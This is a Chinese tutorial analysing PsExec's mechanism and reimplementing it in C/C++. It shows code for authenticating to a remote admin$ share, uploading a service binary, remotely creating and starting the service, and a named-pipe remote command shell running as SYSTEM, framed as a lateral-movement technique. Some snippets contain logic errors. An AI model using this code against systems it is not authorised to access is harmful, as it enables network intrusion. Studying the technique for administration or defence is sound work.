psexec原理分析和实现
字数 1312 2025-08-06 18:07:37
PsExec 原理分析与实现详解
0x00 前言
PsExec 是 Sysinternals 提供的 Windows 工具之一,最初用于管理员批量管理机器,后被攻击者用于横向渗透。
使用要求
- 远程机器的 139 或 445 端口开启(SMB 服务)
- 具备明文密码或 NTLM 哈希
- 有权限写入共享文件夹
- 能在远程机器创建服务(SC_MANAGER_CREATE_SERVICE 权限)
- 能启动创建的服务(SERVICE_QUERY_STATUS && SERVICE_START 权限)
0x01 PsExec 执行原理
执行流程
- 将 PSEXESVC.exe 上传到 admin$ 共享文件夹
- 远程创建用于运行 PSEXESVC.exe 的服务
- 远程启动服务
PSEXESVC 服务作为重定向器(包装器):
- 在远程系统上运行指定可执行文件(如 cmd.exe)
- 通过命名管道重定向进程的输入/输出
0x02 流量分析
- 使用账户密码通过 SMB 会话进行身份验证
- 访问 ADMIN$ 共享上传 PSEXESVC.exe
- 打开 svcctl 句柄与服务控制器(SCM)通信
- 通过 DCE\RPC 调用启动 PsExec
- 使用上传的 PSEXESVC.exe 作为服务二进制文件调用 CreateService
- 调用 StartService
- 创建命名管道重定向 stdin/stdout/stderr
0x03 代码实现
执行流程
- 连接 SMB 共享
- 上传恶意服务文件到共享目录
- 打开 SCM 创建服务
- 启动服务
- 服务创建输入输出管道
- 等待攻击者连接管道
- 从管道读取命令
- 输出执行结果到管道
- 循环步骤 7-8
- 删除服务
- 删除文件
1. 连接 SMB 共享
使用 WNetAddConnection2 或 WNetAddConnection3:
DWORD WNetAddConnection2A(
[in] LPNETRESOURCEA lpNetResource, // 连接信息结构指针
[in] LPCSTR lpPassword, // 密码
[in] LPCSTR lpUserName, // 用户名
[in] DWORD dwFlags // 选项
);
实现示例:
DWORD ConnectSMBServer(LPCWSTR lpwsHost, LPCWSTR lpwsUserName, LPCWSTR lpwsPassword) {
PWCHAR lpwsIPC = new WCHAR[MAX_PATH];
DWORD dwRetVal;
NETRESOURCE nr;
DWORD dwFlags;
ZeroMemory(&nr, sizeof(NETRESOURCE));
swprintf(lpwsIPC, 100, TEXT("\\\\%s\\admin$"), lpwsHost);
nr.dwType = RESOURCETYPE_ANY;
nr.lpLocalName = NULL;
nr.lpRemoteName = lpwsIPC;
nr.lpProvider = NULL;
dwFlags = CONNECT_UPDATE_PROFILE;
dwRetVal = WNetAddConnection2(&nr, lpwsPassword, lpwsUserName, dwFlags);
if (dwRetVal == NO_ERROR) {
wprintf(L"[*] Connect added to %s\n", nr.lpRemoteName);
return dwRetVal;
}
wprintf(L"[*] WNetAddConnection2 failed with error: %u\n", dwRetVal);
return -1;
}
2. 上传文件
利用 CIFS 协议将网络共享映射为本地资源,使用 CopyFile API:
BOOL CopyFile(
[in] LPCTSTR lpExistingFileName,
[in] LPCTSTR lpNewFileName,
[in] BOOL bFailIfExists
);
实现示例:
BOOL UploadFileBySMB(LPCWSTR lpwsSrcPath, LPCWSTR lpwsDstPath) {
DWORD dwRetVal;
dwRetVal = CopyFile(lpwsSrcPath, lpwsDstPath, FALSE);
return dwRetVal > 0 ? TRUE : FALSE;
}
3. 编写服务程序
Windows 服务模板:
#include <Windows.h>
#include <stdio.h>
#define SLEEP_TIME 5000
#define LOGFILE "D:\\log.txt"
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;
void ServiceMain(int argc, char** argv);
void CtrlHandler(DWORD request);
int InitService();
int main(int argc, CHAR* argv[]) {
WCHAR WserviceName[] = TEXT("Monitor");
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = WserviceName;
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
StartServiceCtrlDispatcher(ServiceTable);
return 0;
}
int WriteToLog(const char* str) {
FILE* pfile;
fopen_s(&pfile, LOGFILE, "a+");
if (pfile == NULL) return -1;
fprintf_s(pfile, "%s\n", str);
fclose(pfile);
return 0;
}
int InitService() {
CHAR Message[] = "Monitoring started.";
OutputDebugString(TEXT("Monitoring started."));
return WriteToLog(Message);
}
void CtrlHandler(DWORD request) {
switch (request) {
case SERVICE_CONTROL_STOP:
case SERVICE_CONTROL_SHUTDOWN:
WriteToLog("Monitoring stopped.");
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(hStatus, &ServiceStatus);
return;
default: break;
}
SetServiceStatus(hStatus, &ServiceStatus);
}
void ServiceMain(int argc, char** argv) {
WCHAR WserviceName[] = TEXT("Monitor");
int error;
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_STOP;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
hStatus = ::RegisterServiceCtrlHandler(WserviceName, (LPHANDLER_FUNCTION)CtrlHandler);
if (hStatus == (SERVICE_STATUS_HANDLE)0) {
WriteToLog("RegisterServiceCtrlHandler failed");
return;
}
WriteToLog("RegisterServiceCtrlHandler success");
error = InitService();
if (error) {
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = -1;
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(hStatus, &ServiceStatus);
// TODO: 在此处实现服务功能
}
4. 远程管理服务
使用 SCM API:
SC_HANDLE OpenSCManagerA(
[in, optional] LPCSTR lpMachineName, // 目标计算机名
[in, optional] LPCSTR lpDatabaseName, // SCM 数据库名
[in] DWORD dwDesiredAccess // 访问权限
);
SC_HANDLE CreateServiceA(
[in] SC_HANDLE hSCManager,
[in] LPCSTR lpServiceName,
[in, optional] LPCSTR lpDisplayName,
[in] DWORD dwDesiredAccess,
[in] DWORD dwServiceType,
[in] DWORD dwStartType,
[in] DWORD dwErrorControl,
[in, optional] LPCSTR lpBinaryPathName,
[in, optional] LPCSTR lpLoadOrderGroup,
[out, optional] LPDWORD lpdwTagId,
[in, optional] LPCSTR lpDependencies,
[in, optional] LPCSTR lpServiceStartName,
[in, optional] LPCSTR lpPassword
);
实现示例:
BOOL CreateServiceWithSCM(LPCWSTR lpwsSCMServer, LPCWSTR lpwsServiceName, LPCWSTR lpwsServicePath) {
SC_HANDLE hSCM;
SC_HANDLE hService;
SERVICE_STATUS ss;
hSCM = OpenSCManager(lpwsSCMServer, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if (hSCM == NULL) {
std::cout << "OpenSCManager Error: " << GetLastError() << std::endl;
return -1;
}
hService = CreateService(
hSCM,
lpwsServiceName,
lpwsServiceName,
GENERIC_ALL,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
lpwsServicePath,
NULL, NULL, NULL, NULL, NULL);
if (hService == NULL) {
std::cout << "CreateService Error: " << GetLastError() << std::endl;
return -1;
}
hService = OpenService(hSCM, lpwsServiceName, GENERIC_ALL);
if (hService == NULL) {
std::cout << "OpenService Error: " << GetLastError() << std::endl;
return -1;
}
StartService(hService, NULL, NULL);
return 0;
}
5. 管道通信
命名管道服务端
创建命名管道:
BOOL CreateStdNamedPipe(PHANDLE lpPipe, LPCTSTR lpPipeName) {
*lpPipe = CreateNamedPipe(
lpPipeName,
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
BUFSIZE,
BUFSIZE,
0,
NULL);
return !(*lpPipe == INVALID_HANDLE_VALUE);
}
等待客户端连接:
if (!ConnectNamedPipe(hStdoutPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED)) {
OutputError("ConnectNamePipe PSEXEC", GetLastError());
CloseHandle(hStdoutPipe);
return -1;
}
处理命令循环:
while (true) {
DWORD cbBytesRead = 0;
ZeroMemory(pReadBuffer, sizeof(TCHAR) * BUFSIZE);
if (!ReadFile(hStdoutPipe, pReadBuffer, BUFSIZE, &cbBytesRead, NULL)) {
OutputError("[!] ReadFile from client failed!\n", GetLastError());
return -1;
}
// 创建子进程执行命令
sprintf_s(lpCommandLine, BUFSIZE, "cmd.exe /c \"%s && exit\"", pReadBuffer);
if (!CreateProcess(NULL, lpCommandLine, NULL, NULL, TRUE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
OutputError("CreateProcess", GetLastError());
return -1;
}
WaitForSingleObject(pi.hProcess, INFINITE);
// 读取执行结果
fSuccess = ReadFile(hReadPipe, pWriteBuffer, BUFSIZE * sizeof(TCHAR), &cbBytesRead, NULL);
// 发送结果到客户端
if (!WriteFile(hStdoutPipe, pWriteBuffer, cbBytesRead, &cbToWritten, NULL)) {
OutputError("WriteFile", GetLastError());
return -1;
}
}
命名管道客户端
连接管道:
hStdoutPipe = CreateFile(
lpszStdoutPipeName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
if (WaitNamedPipe(lpszStdoutPipeName, 20000)) {
_tprintf(TEXT("[!] Could not open pipe (PSEXEC): 20 second wait timed out.\n"));
return -1;
}
交互循环:
while (true) {
std::string command;
std::cout << "\nPsExec>";
getline(std::cin, command);
cbToRead = command.length() * sizeof(TCHAR);
if (!WriteFile(hStdoutPipe, (LPCVOID)command.c_str(), cbToRead, &cbRead, NULL)) {
_tprintf(TEXT("[!] WriteFile to server error! GLE = %d\n"), GetLastError());
break;
}
fSuccess = ReadFile(hStdoutPipe, chBuf, BUFSIZE * sizeof(TCHAR), &cbRead, NULL);
if (!fSuccess) {
_tprintf("ReadFile error. GLE = %d", GetLastError());
}
std::cout << chBuf << std::endl;
}
0x04 权限说明
服务通常以 SYSTEM 权限运行,因此 PsExec 执行后会获得 SYSTEM 权限。Metasploit 的 getsystem 命令也利用了这一原理。
0x05 参考链接
- https://rcoil.me/2019/08/%E3%80%90%E7%9F%A5%E8%AF%86%E5%9B%9E%E9%A1%BE%E3%80%91%E6%B7%B1%E5%85%A5%E4%BA%86%E8%A7%A3%20PsExec/
- https://docs.microsoft.com/en-us/windows/win32/ipc/anonymous-pipes
- https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipes